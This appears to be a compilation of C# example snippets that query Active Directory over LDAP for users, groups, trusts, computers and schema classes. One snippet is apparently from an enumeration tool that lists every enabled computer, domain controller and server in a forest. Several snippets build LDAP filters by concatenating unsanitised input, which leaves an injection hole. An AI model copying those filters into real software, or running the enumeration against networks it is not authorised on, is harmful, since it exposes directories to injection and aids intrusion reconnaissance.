                            filter = "(&(sAMAccountName=" + user + "*)(samAccountType=805306368)(!userAccountControl:1.2.840.113556.1.4.803:=2))";
                            if (inputUserSearch.Contains("@"))
                            {
                                string convertToUsername = user.Split('@')[0];
                                filter = "(&(sAMAccountName=" + convertToUsername + "*)(samAccountType=805306368)(!userAccountControl:1.2.840.113556.1.4.803:=2))";
                            }
                            ldap_searcher.Filter = filter;
                            //find users
                            allemployee_results = ldap_searcher.FindAll();
                        }
                        if (allemployee_results.Count > 0)
                        {
                            foreach (SearchResult employeeEntryToGet in allemployee_results)
                            {
                                //get sAMAccountName
                                if (employeeEntryToGet.Properties.Contains("sAMAccountName") && employeeEntryToGet.Properties["sAMAccountName"] != null)
                                {
                                    uInfo.SAMAccountName = employeeEntryToGet.Properties["sAMAccountName"][0].ToString();
                                }
                                else
                                {
                                    uInfo.SAMAccountName = "";
                                }
                                //get Full Name
                                if (employeeEntryToGet.Properties.Contains("cn") && employeeEntryToGet.Properties["cn"] != null)
                                {
                                    uInfo.FullName = employeeEntryToGet.Properties["cn"][0].ToString();
                                }
                                else
                                {
                                    uInfo.FullName = "";
                                }
                                //get Title
                                if (employeeEntryToGet.Properties.Contains("title") && employeeEntryToGet.Properties["title"] != null)
                                {
                                    uInfo.Title = employeeEntryToGet.Properties["title"][0].ToString();
                                }
                                else
                                {
                                    uInfo.Title = "";
                                }
                                //get Departament
                                if (employeeEntryToGet.Properties.Contains("department") && employeeEntryToGet.Properties["department"] != null)
                                {
                                    uInfo.Department = employeeEntryToGet.Properties["department"][0].ToString();
                                }
                                else
                                {
                                    uInfo.Department = "";
                                }
                                //get Email
                                if (employeeEntryToGet.Properties.Contains("mail") && employeeEntryToGet.Properties["mail"] != null)
                                {
                                    uInfo.EmailAddress = employeeEntryToGet.Properties["mail"][0].ToString();
                                }
                                else
                                {
                                    uInfo.EmailAddress = "";
                                }
                                //get Office
                                if (employeeEntryToGet.Properties.Contains("physicalDeliveryOfficeName") && employeeEntryToGet.Properties["physicalDeliveryOfficeName"] != null)
                                {
                                    uInfo.Office = employeeEntryToGet.Properties["physicalDeliveryOfficeName"][0].ToString();
                                }
                                else
                                {
                                    uInfo.Office = "";
                                }
                                //get photo
                                if (employeeEntryToGet.Properties.Contains("thumbnailPhoto") && employeeEntryToGet.Properties["thumbnailPhoto"] != null)
                                {
                                    uInfo.HasPhoto = "Yes";
                                }
                                else
                                {
                                    uInfo.HasPhoto = "No";
                                }

                                //get Distinguished Name
                                if (employeeEntryToGet.Properties.Contains("distinguishedName") && employeeEntryToGet.Properties["distinguishedName"] != null)
                                {
                                    uInfo.DistinguishedName = employeeEntryToGet.Properties["distinguishedName"][0].ToString();
                                }
                                else
                                {
                                    uInfo.DistinguishedName = "";
                                }
                                //add user to list
                                UserList.Add(new Person
                                {
                                    SAMAccountName    = uInfo.SAMAccountName,
                                    Title             = uInfo.Title,
                                    Department        = uInfo.Department,
                                    EmailAddress      = uInfo.EmailAddress,
                                    Office            = uInfo.Office,
                                    DistinguishedName = uInfo.DistinguishedName,
                                    FullName          = uInfo.FullName,
                                    HasPhoto          = uInfo.HasPhoto
                                });
                            }
                        }
                    }
                }
                UserList = UserList.OrderBy(newlist => newlist.SAMAccountName).ToList();
            }
            catch (Exception ex)
            {
                log.Info("" + winId.Name + " has encountered an error: " + ex.Message + "");
            }
            finally
            {
                ldap_searcher.Dispose();
                ldapConnection.Dispose();
                winId.Dispose();
                if (impersonationContext != null)
                {
                    impersonationContext.Undo();
                    impersonationContext.Dispose();
                }
            }
            return(UserList);
        }
        private static Task <List <GroupEntry> > GetGroupsAsync(bool force = false)
        {
            if (!SettingsService.Instance.Sync.SyncGroups)
            {
                throw new ApplicationException("Not configured to sync groups.");
            }

            if (SettingsService.Instance.Server?.Ldap == null)
            {
                throw new ApplicationException("No configuration for directory server.");
            }

            if (SettingsService.Instance.Sync == null)
            {
                throw new ApplicationException("No configuration for sync.");
            }

            if (!AuthService.Instance.Authenticated)
            {
                throw new ApplicationException("Not authenticated.");
            }

            var groupEntry = SettingsService.Instance.Server.Ldap.GetGroupDirectoryEntry();

            var originalFilter = BuildBaseFilter(SettingsService.Instance.Sync.Ldap.GroupObjectClass,
                                                 SettingsService.Instance.Sync.GroupFilter);

            var filter              = originalFilter;
            var revisionFilter      = BuildRevisionFilter(filter, force, SettingsService.Instance.LastGroupSyncDate);
            var searchSinceRevision = filter != revisionFilter;

            filter = revisionFilter;

            Console.WriteLine("Group search: {0} => {1}", groupEntry.Path, filter);
            var searcher = new DirectorySearcher(groupEntry, filter);
            var result   = searcher.FindAll();

            var initialSearchGroupIds = new List <string>();

            foreach (SearchResult item in result)
            {
                initialSearchGroupIds.Add(DNFromPath(item.Path));
            }

            if (searchSinceRevision && !initialSearchGroupIds.Any())
            {
                return(Task.FromResult(new List <GroupEntry>()));
            }
            else if (searchSinceRevision)
            {
                searcher = new DirectorySearcher(groupEntry, originalFilter);
                result   = searcher.FindAll();
            }

            var userEntry  = SettingsService.Instance.Server.Ldap.GetUserDirectoryEntry();
            var userFilter = BuildBaseFilter(SettingsService.Instance.Sync.Ldap.UserObjectClass,
                                             SettingsService.Instance.Sync.UserFilter);
            var userSearcher = new DirectorySearcher(userEntry, userFilter);
            var userResult   = userSearcher.FindAll();

            var userIdsDict = MakeIdIndex(userResult);

            var groups = new List <GroupEntry>();

            foreach (SearchResult item in result)
            {
                var group = BuildGroup(item, userIdsDict);
                if (group == null)
                {
                    continue;
                }

                groups.Add(group);
            }

            return(Task.FromResult(groups));
        }
Ejemplo n.º 21
0
        public static List <string> SearchLDAP(string ldap, bool verbose)
        {
            try
            {
                bool          searchGlobalCatalog = true;
                List <string> ComputerNames       = new List <string>();
                string        description         = null;
                string        filter = null;

                //https://social.technet.microsoft.com/wiki/contents/articles/5392.active-directory-ldap-syntax-filters.aspx
                //https://ldapwiki.com/wiki/Active%20Directory%20Computer%20Related%20LDAP%20Query
                switch (ldap)
                {
                case "all":
                    description = "all enabled computers with \"primary\" group \"Domain Computers\"";
                    filter      = ("(&(objectCategory=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))");
                    break;

                case "dc":
                    description = "all enabled Domain Controllers (not read-only DCs)";
                    filter      = ("(&(objectCategory=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(userAccountControl:1.2.840.113556.1.4.803:=8192))");
                    break;

                case "exclude-dc":
                    description = "all enabled computers that are not Domain Controllers or read-only DCs";
                    filter      = ("(&(objectCategory=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(!(userAccountControl:1.2.840.113556.1.4.803:=8192))(!(userAccountControl:1.2.840.113556.1.4.803:=67100867)))");
                    break;

                case "servers":
                    searchGlobalCatalog = false;     //operatingSystem attribute is not replicated in Global Catalog
                    description         = "all enabled servers";
                    filter = ("(&(objectCategory=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(operatingSystem=*server*))");
                    break;

                case "servers-exclude-dc":
                    searchGlobalCatalog = false;     //operatingSystem attribute is not replicated in Global Catalog
                    description         = "all enabled servers excluding Domain Controllers or read-only DCs";
                    filter = ("(&(objectCategory=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(operatingSystem=*server*)(!(userAccountControl:1.2.840.113556.1.4.803:=8192))(!(userAccountControl:1.2.840.113556.1.4.803:=67100867)))");
                    break;

                default:
                    Console.WriteLine("[!] Invalid LDAP filter: {0}", filter);
                    Utilities.Options.Usage();
                    Environment.Exit(0);
                    break;
                }

                if (searchGlobalCatalog)
                {
                    try
                    {
                        Forest            currentForest         = Forest.GetCurrentForest();
                        GlobalCatalog     globalCatalog         = currentForest.FindGlobalCatalog();
                        DirectorySearcher globalCatalogSearcher = globalCatalog.GetDirectorySearcher();
                        globalCatalogSearcher.PropertiesToLoad.Add("dnshostname");
                        globalCatalogSearcher.Filter    = filter;
                        globalCatalogSearcher.SizeLimit = int.MaxValue;
                        globalCatalogSearcher.PageSize  = int.MaxValue;
                        Console.WriteLine("[+] Performing LDAP query against Global Catalog for {0}...", description);
                        Console.WriteLine("[+] This may take some time depending on the size of the environment");
                        foreach (SearchResult resEnt in globalCatalogSearcher.FindAll())
                        {
                            //sometimes objects with empty attributes throw errors
                            try
                            {
                                string ComputerName = resEnt.Properties["dnshostname"][0].ToString().ToUpper();
                                ComputerNames.Add(ComputerName);
                            }
                            catch { /*nothing*/ }
                        }
                        globalCatalogSearcher.Dispose();
                    }
                    catch (Exception ex)
                    {
                        if (verbose)
                        {
                            Console.WriteLine("[!] LDAP Error searching Global Catalog: {0}", ex.Message);
                        }
                    }
                }
                else
                {
                    try
                    {
                        DirectoryEntry    entry      = new DirectoryEntry();
                        DirectorySearcher mySearcher = new DirectorySearcher(entry);
                        mySearcher.PropertiesToLoad.Add("dnshostname");
                        mySearcher.Filter    = filter;
                        mySearcher.SizeLimit = int.MaxValue;
                        mySearcher.PageSize  = int.MaxValue;
                        Console.WriteLine("[+] Performing LDAP query against the current domain for {0}...", description);
                        Console.WriteLine("[+] This may take some time depending on the size of the environment");

                        foreach (SearchResult resEnt in mySearcher.FindAll())
                        {
                            //sometimes objects with empty attributes throw errors
                            try
                            {
                                string ComputerName = resEnt.Properties["dnshostname"][0].ToString().ToUpper();
                                ComputerNames.Add(ComputerName);
                            }
                            catch { /*nothing*/ }
                        }
                        mySearcher.Dispose();
                    }
                    catch (Exception ex)
                    {
                        if (verbose)
                        {
                            Console.WriteLine("[!] LDAP Error: {0}", ex.Message);
                        }
                    }
                }
                //localhost returns false positives
                ComputerNames.RemoveAll(u => u.Contains(System.Environment.MachineName.ToUpper()));
                Console.WriteLine("[+] LDAP Search Results: {0}", ComputerNames.Count.ToString());


                return(ComputerNames);
            }
            catch (Exception ex)
            {
                if (verbose)
                {
                    Console.WriteLine("[!] LDAP Error: {0}", ex.Message);
                }
                return(null);
            }
        }
 public List<ComputerPrincipalFull> GetChildComputerObjects(int maxRecords)
 {
     DirectoryEntry directoryDe;
     if (ContextType == ContextType.Domain)
     {
         directoryDe = new DirectoryEntry(string.Format("LDAP://{0}", ConnectedServer));
     }
     else
     {
         throw new NotSupportedException(
             "This functionality is only available for Domain ContextType PrincipalContext objects.");
     }
     var search = new DirectorySearcher(directoryDe)
     {
         Tombstone = false,
         Asynchronous = true,
         PageSize = 100,
         Filter = "(objectClass=computer)"
     };
     var results = search.FindAll();
     var i = 0;
     var children = new List<ComputerPrincipalFull>();
     foreach (SearchResult result in results)
     {
         i++;
         var delims = new[] {'/'};
         var pieces = result.Path.Split(delims);
         var dn = pieces[pieces.Count() - 1];
         if (maxRecords > 0 && i > maxRecords)
         {
             break;
         }
         try
         {
             children.Add(ComputerPrincipalFull.FindByIdentity(this, IdentityType.DistinguishedName, dn));
         }
         catch
         {
         }
     }
     return children;
 }
Ejemplo n.º 23
0
        public string validarUsuario(string usuario, string clave, string dominio)
        {
            string         rpta   = "";
            DirectoryEntry domain = new DirectoryEntry(dominio);

            //DirectoryEntry domain = new DirectoryEntry("LDAP://" + dominio);

            using (DirectorySearcher Searcher = new DirectorySearcher(dominio))
            {
                //Searcher.Filter = "(&(objectCategory=user)(ANR=" + usuario + " * ))"; // busca todas las cuentas que se parezcan
                Searcher.Filter      = "(SAMAccountName=" + usuario + ")";                     // "(SAMAccountName=" & usuario & ")"; // filtra por usuario especifico
                Searcher.SearchScope = SearchScope.Subtree;                                    // Start at the top and keep drilling down

                Searcher.PropertiesToLoad.Add("sAMAccountName");                               // Load User ID
                Searcher.PropertiesToLoad.Add("displayName");                                  // Load Display Name
                Searcher.PropertiesToLoad.Add("givenName");                                    // Load Users first name
                Searcher.PropertiesToLoad.Add("sn");                                           // Load Users last name
                Searcher.PropertiesToLoad.Add("distinguishedName");                            // Users Distinguished name

                Searcher.PropertiesToLoad.Add("proxyAddresses");                               // correo del usuario
                Searcher.PropertiesToLoad.Add("department");                                   // area de trabajo
                Searcher.PropertiesToLoad.Add("title");                                        // rol del usuario
                Searcher.PropertiesToLoad.Add("userAccountControl");                           // Users Distinguished name
                Searcher.Sort.PropertyName = "sAMAccountName";                                 // Sort by user ID
                Searcher.Sort.Direction    = System.DirectoryServices.SortDirection.Ascending; // A-Zt)

                using (var users = Searcher.FindAll())                                         // Users contains our searh results
                {
                    if (users.Count > 0)
                    {
                        foreach (SearchResult User in users) // goes throug each user in the search resultsg
                        {
                            //Ambito._estCuentaUsuario = Convert.ToInt32(User.Properties["userAccountControl"][0]);
                            //int flagExists = Ambito._estCuentaUsuario & 0x2;
                            //if (flagExists > 0)
                            //{
                            //    rpta = "La cuenta de usuario se encuentra deshabilitada";
                            //}

                            System.DirectoryServices.DirectoryEntry    Entry       = new System.DirectoryServices.DirectoryEntry("LDAP://" + dominio, usuario, clave);
                            System.DirectoryServices.DirectorySearcher valSearcher = new System.DirectoryServices.DirectorySearcher(Entry);
                            valSearcher.SearchScope = System.DirectoryServices.SearchScope.OneLevel;

                            try
                            {
                                System.DirectoryServices.SearchResult Results = valSearcher.FindOne();
                            }
                            catch (Exception ex)
                            {
                                rpta = ex.Message;
                                return(rpta);
                            }

                            //if (User.Properties.Contains("displayName"))
                            //{
                            //    Ambito._NombreUsuario = System.Convert.ToString(User.Properties["displayName"][0]);
                            //}

                            //if (User.Properties.Contains("title"))
                            //{
                            //    Ambito._rolUsuario = System.Convert.ToString(User.Properties["title"][0]);
                            //}

                            //if (User.Properties.Contains("title"))
                            //{
                            //    Ambito._dptoUsuario = System.Convert.ToString(User.Properties["title"][0]);
                            //}

                            //if (User.Properties.Contains("proxyAddresses"))
                            //{
                            //    Ambito._correoUsuario = System.Convert.ToString(User.Properties["proxyAddresses"][0]);
                            //}

                            //if (User.Properties.Contains("sAMAccountName"))
                            //{
                            //    Ambito.Usuario = System.Convert.ToString(User.Properties["sAMAccountName"][0]).ToUpper();
                            //}



                            rpta = "OK";
                        }
                    }
                    else
                    {
                        rpta = "ER";
                    }
                }
            }
            return(rpta);
        }
Ejemplo n.º 24
0
        public TrustRelationshipInformationCollection GetAllTrustRelationships()
        {
            if (trustCollection == null)
            {
                try
                {
                    DirectoryEntry rootDse = new DirectoryEntry(string.Format("LDAP://{0}/RootDSE", dName), dc.UserName, dc.Password);

                    string defaultName = rootDse.DirContext.DefaultNamingContext;

                    if (defaultName == null || defaultName == "")
                    {
                        trustCollection = null;
                        return trustCollection;
                    }

                    DirectoryEntry sys = new DirectoryEntry(string.Format("LDAP://{0}/CN=System,{1}", SDSUtils.DNToDomainName(defaultName), defaultName), dc.UserName, dc.Password);

                    DirectorySearcher ds = new DirectorySearcher(sys);
                    ds.Filter = "(objectClass=trustedDomain)";
                    ds.SearchScope = SearchScope.Subtree;

                    SearchResultCollection src = ds.FindAll();

                    if (src != null && src.Count > 0)
                    {
                        trustCollection = new TrustRelationshipInformationCollection();

                        foreach (SearchResult sr in src)
                        {
                            string sProtocol, sServer, sCNs, sDCs;
                            SDSUtils.CrackPath(sr.Path, out sProtocol, out sServer, out sCNs, out sDCs);
                            /*Console.WriteLine("sProtocol " + sProtocol);
                            Console.WriteLine("sServer " + sServer);
                            Console.WriteLine("sCNs " + sCNs);
                            Console.WriteLine("sDCs " + sDCs);*/

                            string sourcename, targetname;
                            TrustDirection trustdirection;
                            TrustType trusttype = TrustType.Unknown;

                            DirectoryEntry trustEntry = new DirectoryEntry(sr.Path, dc.UserName, dc.Password);

                            int trustdir = (int)trustEntry.Properties["trustDirection"].Value;

                            string trustDn = trustEntry.Properties["distinguishedName"].Value.ToString();
                            string[] splits = trustDn.Split(',');
                            trustDn = splits[0].Substring(3);

                            int trustattr = (int)trustEntry.Properties["trustAttributes"].Value;

                            int trusttp = (int)trustEntry.Properties["trustType"].Value;

                            //Note:the following implementation of how to determine the TrustType is still under investigation
                            if (trusttp == (int)ADTrustType.TYPE_UPLEVEL) //windows 2003 trust
                            {
                                switch (trustattr)
                                {
                                    case 0:
                                        trusttype = TrustType.External; //this trust is non-transitive
                                        break;
                                    case 1:   //ATTRIBUTES_NON_TRANSITIVE
                                        break;
                                    case 2: //ATTRIBUTES_UPLEVEL_ONLY
                                        break;

                                    case 4: //ATTRIBUTES_QUARANTINED_DOMAIN
                                        trusttype = TrustType.External;
                                        break;

                                    case 8: //ATTRIBUTES_FOREST_TRANSITIVE
                                        trusttype = TrustType.Forest; //and this trust is transitive
                                        break;

                                    case 16: //ATTRIBUTES_CROSS_ORGANIZATION
                                        trusttype = TrustType.CrossLink;
                                        break;

                                    case 32://ATTRIBUTES_WITHIN_FOREST
                                        if (trustDn.ToLower().Contains(dName.ToLower()))
                                            trusttype = TrustType.ParentChild;
                                        else
                                            trusttype = TrustType.External;  //this trust is non-transitive
                                        break;

                                    case 64: //ATTRIBUTES_TREAT_AS_EXTERNAL
                                        trusttype = TrustType.External;
                                        break;

                                    default:
                                        trusttype = TrustType.Unknown;
                                        break;
                                }
                            }
                            else if (trusttp == (int)ADTrustType.TYPE_MIT)
                                trusttype = TrustType.Kerberos;

                            switch (trustdir)
                            {
                                case 1:
                                    trustdirection = TrustDirection.Inbound;
                                    sourcename = dName;
                                    targetname = trustDn;
                                    break;
                                case 2:
                                    trustdirection = TrustDirection.Outbound;
                                    sourcename = trustDn;
                                    targetname = dName;
                                    break;
                                case 3:
                                    trustdirection = TrustDirection.Bidirectional;
                                    sourcename = dName;
                                    targetname = trustDn;
                                    break;
                                default:
                                    trustdirection = TrustDirection.Disabled;
                                    sourcename = targetname = "";
                                    break;
                            }

                            TrustRelationshipInformation trustinfo = new TrustRelationshipInformation(sourcename, targetname, trusttype, trustdirection);
                            trustCollection.Add(trustinfo);
                        }
                    }
                }
                catch
                {
                    return null;
                }
            }

            return trustCollection;
        }
Ejemplo n.º 25
0
        private ADObject resolveName(string name)
        {
            name = name.Trim();
            DirectoryEntry    root     = Utility.NewDirectoryEntry("LDAP://" + SqlAzManStorage.RootDSEPath);
            DirectorySearcher deSearch = new DirectorySearcher(root);

            //Try find exactly
            if (this.adObjectType == ADObjectType.UsersOnly || this.adObjectType == ADObjectType.OneUserOnly)
            {
                deSearch.Filter = String.Format("(&(|(displayName={0})(samaccountname={0})(userprincipalname={0})(objectSid={0}))(&(objectClass=user)(objectCategory=person)))", name);
            }
            else if (this.adObjectType == ADObjectType.UsersAndGroups)
            {
                deSearch.Filter = String.Format("(&(|(displayName={0})(samaccountname={0})(userprincipalname={0})(objectSid={0}))(|(&(objectClass=user)(objectCategory=person))(objectClass=group)))", name);
            }

            SearchResultCollection results = deSearch.FindAll();
            ADObject ado = new ADObject();

            try
            {
                //Try find exactly
                if (results.Count == 1)
                {
                    DirectoryEntry de = results[0].GetDirectoryEntry();
                    ado.Name        = (string)de.InvokeGet("samaccountname");
                    ado.ADSPath     = de.Path;
                    ado.UPN         = (string)de.InvokeGet("userPrincipalName");
                    ado.internalSid = new SecurityIdentifier((byte[])de.Properties["objectSid"][0], 0);
                    ado.state       = ADObjectState.Resolved;
                    return(ado);
                }
                //Then try find with jolly (*)
                if (this.adObjectType == ADObjectType.UsersOnly || this.adObjectType == ADObjectType.OneUserOnly)
                {
                    deSearch.Filter = String.Format("(&(|(displayName=*{0}*)(samaccountname=*{0}*)(userprincipalname=*{0}*))(&(objectClass=user)(objectCategory=person)))", name);
                }
                else if (this.adObjectType == ADObjectType.UsersAndGroups)
                {
                    deSearch.Filter = String.Format("(&(|(displayName=*{0}*)(samaccountname=*{0}*)(userprincipalname=*{0}*))(|(&(objectClass=user)(objectCategory=person))(objectClass=group)))", name);
                }
                results = deSearch.FindAll();
                if (results.Count == 0)
                {
                    //Check for Well Know Sid
                    try
                    {
                        NTAccount          nta = new NTAccount(name);
                        SecurityIdentifier sid = (SecurityIdentifier)nta.Translate(typeof(SecurityIdentifier));
                        nta             = (NTAccount)sid.Translate(typeof(NTAccount));
                        ado.Name        = nta.Value;
                        ado.ADSPath     = String.Format("LDAP://<SID={0}>", sid.Value);
                        ado.UPN         = nta.Value;
                        ado.internalSid = sid;
                        ado.state       = ADObjectState.Resolved;
                        return(ado);
                    }
                    catch { }
                    ado.Name  = name;
                    ado.state = ADObjectState.NotFound;
                    return(ado);
                }
                else
                {
                    List <ADObject> proposedADObjects = new List <ADObject>();
                    foreach (SearchResult sr in results)
                    {
                        DirectoryEntry de       = sr.GetDirectoryEntry();
                        ADObject       proposal = new ADObject();
                        proposal.Name        = (string)de.InvokeGet("samaccountname");
                        proposal.ADSPath     = de.Path;
                        proposal.ClassName   = de.SchemaClassName;
                        proposal.UPN         = (string)de.InvokeGet("userPrincipalName");
                        proposal.internalSid = new SecurityIdentifier((byte[])de.Properties["objectSid"][0], 0);
                        proposedADObjects.Add(proposal);
                        this.Session["proposedADObjects"] = proposedADObjects;
                    }
                    ado.Name  = name;
                    ado.state = ADObjectState.Multiple;
                    return(ado);
                }
            }
            catch
            {
                return(ado);
            }
        }
Ejemplo n.º 26
0
    public static DataTable LookForUserInAllDomains(string sLastNameSearch, string sFirstNameSearch)
    {
        if (sUID == "") sUID = null;
        if (sPwd == "") sPwd = null;

        CreateNetworkUserTable();
        objTable.Rows.Clear();

        ////Search in all the domains
        //string ldapdomains = System.Configuration.ConfigurationManager.AppSettings["LDAPDomains"].ToString();
        //string[] Domains = ldapdomains.Split(new char[] { ';' });

        //for (int i = 0; i < Domains.Length; i++)
        //{
        //    string domainName = Domains[i];

        //    objTable = LookForUserInDomain(domainName, sLastNameSearch, sFirstNameSearch);

        //}

        string sFilter = String.Format("(|(&(objectClass=User)(givenname={0})(sn={1})))", sFirstNameSearch, sLastNameSearch);

        // collect inactive users in all the domains
        string[] sDomains = sLDAPDomains.Split(new char[] { ';' });
        for (int i = 0; i < sDomains.Length; i++ )
        {
            string sDomainName = sDomains[ i ];
            string sServerName = System.Configuration.ConfigurationManager.AppSettings[sDomainName].ToString();
            string sLDAPPath = "LDAP://" + sServerName + "/DC=" + sDomainName + ",DC=root01,DC=org";

            DirectoryEntry objRootDE = new DirectoryEntry(sLDAPPath, sUID, sPwd, AuthenticationTypes.Secure);
            DirectorySearcher objDS = new DirectorySearcher(objRootDE);

            objDS.Filter = sFilter;
            objDS.ReferralChasing = ReferralChasingOption.None;
            objDS.PropertiesToLoad.Add("userAccountControl");
            objDS.PropertiesToLoad.Add("SAMAccountName");
            objDS.PropertiesToLoad.Add("givenName");
            objDS.PropertiesToLoad.Add("sn");
            objDS.PropertiesToLoad.Add("TelephoneNumber");
            objDS.PropertiesToLoad.Add("mail");

            SearchResultCollection objSRC = null;
            try
            {
                objSRC = objDS.FindAll();
            }
            catch (Exception excpt)
            {
                if (excpt.Message.IndexOf("The server is not operational.") < 0)
                    throw;
            }

            if (objSRC == null)
                continue;

            foreach (SearchResult objSR in objSRC)
            {
                int iInactiveFlag	= Convert.ToInt32(objSR.Properties["userAccountControl"][0]);
                string sUserId		= objSR.Properties["SAMAccountName"][0].ToString();
                string sFirstName	= objSR.Properties["givenName"][0].ToString();
                string sLastName	= objSR.Properties["sn"][0].ToString();

                string sPhone	= "";
                string sEmail	= "";

                if (objSR.Properties["TelephoneNumber"].Count > 0)
                    sPhone	= objSR.Properties["TelephoneNumber"][0].ToString();

                if( objSR.Properties["mail"].Count > 0 )
                    sEmail	= objSR.Properties["mail"][0].ToString();

                iInactiveFlag = iInactiveFlag & 0x0002;
                if (iInactiveFlag <= 0)
                {
                    // add name, username, phone and email to the table, if active
                    DataRow objRow = objTable.NewRow();

                    objRow["LastName"] = sLastName;
                    objRow["FirstName"] = sFirstName;
                    objRow["Username"] = sUserId;
                    objRow["UserDomain"] = sDomainName;
                    objRow["Phone"] = sPhone;
                    objRow["Email"] = sEmail;

                    objTable.Rows.Add( objRow );

                    continue;
                }
            }

            objSRC.Dispose();
            objDS.Dispose();
            objRootDE.Close();
            objRootDE.Dispose();
        }

        return objTable;
    }
Ejemplo n.º 27
0
        public void SearchByFiter(string qFilter, int sizeLimit)
        {
            DirectorySearcher searcher = new DirectorySearcher(this.directoryEntry)
            {
                PageSize  = int.MaxValue,
                Filter    = qFilter,
                SizeLimit = sizeLimit
            };

            Console.WriteLine($"[*] Query: {searcher.Filter}\n");

            try
            {
                SearchResultCollection result = null;

                if (Config.Directory.Attrs.Count != 0 && Config.Directory.Attrs.First().Equals("meta", StringComparison.OrdinalIgnoreCase))
                {
                    var resultOne = searcher.FindOne();
                    if (resultOne != null)
                    {
                        foreach (var p in resultOne.Properties.PropertyNames)
                        {
                            Console.WriteLine($"{p}");
                        }
                    }

                    return;
                }

                result = searcher.FindAll();
                if (result != null)
                {
                    foreach (SearchResult sr in result)
                    {
                        Console.WriteLine($"{sr.Path}");

                        foreach (DictionaryEntry p in sr.Properties)
                        {
                            foreach (var d in p.Value as ResultPropertyValueCollection)
                            {
                                if (Config.Directory.Attrs.Count != 0)
                                {
                                    if (Config.Directory.Attrs.Any(s =>
                                                                   s.Equals(p.Key.ToString(), StringComparison.OrdinalIgnoreCase)))
                                    {
                                        printAttribute(p.Key.ToString(), d);
                                    }
                                }
                                else
                                {
                                    printAttribute(p.Key.ToString(), d);
                                }
                            }
                        }
                    }
                }
            }catch (Exception e)
            {
                Console.WriteLine($"Filter failed: {e.Message}");
            }
        }
        private static void EnumerateUsers(DomainInformation root, DirectoryEntry directory)
        {
            foreach (DirectoryEntry child in directory.Children)
            {
                if (child.SchemaClassName == "organizationalUnit" || child.SchemaClassName == "container" || child.SchemaClassName == "user")
                {
                    DirectorySearcher mySearcher = new DirectorySearcher(child)
                    {
                        Filter = "((&(objectCategory=Person)(objectClass=User)))"
                    };
                    if (mySearcher.FindAll().Count != 0 || child.SchemaClassName == "user")
                    {
                        switch (child.SchemaClassName)
                        {
                        case "organizationalUnit":
                        {
                            var item = new DomainInformation()
                            {
                                Type = DomainInformationTypeEnum.OrganizationUnit, Name = child.Name.Replace("OU=", ""), Description = child.Properties["description"].Value != null ? child.Properties["description"].Value.ToString() : string.Empty
                            };
                            if (root.Childrens.Where(x => x.Name == item.Name && x.Description == item.Description).Count() == 0)
                            {
                                root.Childrens.Add(item);
                                EnumerateUsers(item, child);
                            }
                            break;
                        }

                        case "container":
                        {
                            var item = new DomainInformation()
                            {
                                Type = DomainInformationTypeEnum.OrganizationUnit, Name = child.Name.Replace("CN=", ""), Description = child.Properties["description"].Value != null ? child.Properties["description"].Value.ToString() : string.Empty
                            };
                            if (root.Childrens.Where(x => x.Name == item.Name && x.Description == item.Description).Count() == 0)
                            {
                                root.Childrens.Add(item);
                                EnumerateUsers(item, child);
                            }
                            break;
                        }

                        case "user":
                        {
                            var item = new DomainInformation()
                            {
                                Type = DomainInformationTypeEnum.User, Name = child.Name.Replace("CN=", ""), Description = child.Properties["description"].Value != null ? child.Properties["description"].Value.ToString() : string.Empty, Info = ParseUserInfo(child)
                            };
                            if (root.Childrens.Where(x => x.Name == item.Name && x.Description == item.Description).Count() == 0)
                            {
                                root.Childrens.Add(item);
                            }
                            break;
                        }
                        }
                    }
                    else
                    {
                        continue;
                    }
                }
                else
                {
                    continue;
                }
            }
        }
Ejemplo n.º 29
0
        private List <string> PopulatAuxObjectList(string auxClassName)
        {
            string        value;
            List <string> strs;
            string        userName;
            string        password;
            string        str;
            string        password1;

            try
            {
                string str1 = string.Concat("LDAP://", this.userSuppliedServerName, "/rootDSE");
                if (this.credentials == null)
                {
                    userName = null;
                }
                else
                {
                    userName = this.credentials.UserName;
                }
                if (this.credentials == null)
                {
                    password = null;
                }
                else
                {
                    password = this.credentials.Password;
                }
                using (DirectoryEntry directoryEntry = new DirectoryEntry(str1, userName, password, this.authTypes))
                {
                    if (directoryEntry.Properties["schemaNamingContext"].Count != 0)
                    {
                        value = (string)directoryEntry.Properties["schemaNamingContext"].Value;
                    }
                    else
                    {
                        throw new PrincipalOperationException(StringResources.ADAMStoreUnableToPopulateSchemaList);
                    }
                }
                string str2 = string.Concat("LDAP://", this.userSuppliedServerName, "/", value);
                if (this.credentials == null)
                {
                    str = null;
                }
                else
                {
                    str = this.credentials.UserName;
                }
                if (this.credentials == null)
                {
                    password1 = null;
                }
                else
                {
                    password1 = this.credentials.Password;
                }
                using (DirectoryEntry directoryEntry1 = new DirectoryEntry(str2, str, password1, this.authTypes))
                {
                    using (DirectorySearcher directorySearcher = new DirectorySearcher(directoryEntry1))
                    {
                        directorySearcher.Filter = string.Concat("(&(objectClass=classSchema)(systemAuxiliaryClass=", auxClassName, "))");
                        directorySearcher.PropertiesToLoad.Add("ldapDisplayName");
                        List <string>          strs1 = new List <string>();
                        SearchResultCollection searchResultCollections = directorySearcher.FindAll();
                        using (searchResultCollections)
                        {
                            foreach (SearchResult searchResult in searchResultCollections)
                            {
                                if (searchResult.Properties["ldapDisplayName"] != null)
                                {
                                    strs1.Add(searchResult.Properties["ldapDisplayName"][0].ToString());
                                }
                                else
                                {
                                    throw new PrincipalOperationException(StringResources.ADAMStoreUnableToPopulateSchemaList);
                                }
                            }
                        }
                        strs1.Add(auxClassName);
                        strs = strs1;
                    }
                }
            }
            catch (COMException cOMException1)
            {
                COMException cOMException = cOMException1;
                throw ExceptionHelper.GetExceptionFromCOMException(cOMException);
            }
            return(strs);
        }
        private void TestLookup(string ldapPath, string ldapFilter, string userName, SecureString password, bool findOne)
        {
            Dispatcher.BeginInvoke(DispatcherPriority.Background, new Action(() =>
            {
                tbLdap.Background = new SolidColorBrush(Colors.LightGoldenrodYellow);
            }));
            var de = new DirectoryEntry(ldapPath.ToUpper());

            if (userName == String.Empty)
            {
                de.AuthenticationType = AuthenticationTypes.Secure;
            }
            else
            {
                IntPtr bstr = Marshal.SecureStringToBSTR(password);
                de.Username = userName;
                de.Password = Marshal.PtrToStringBSTR(bstr);
                Marshal.FreeBSTR(bstr);
                de.AuthenticationType = AuthenticationTypes.Secure;
            }

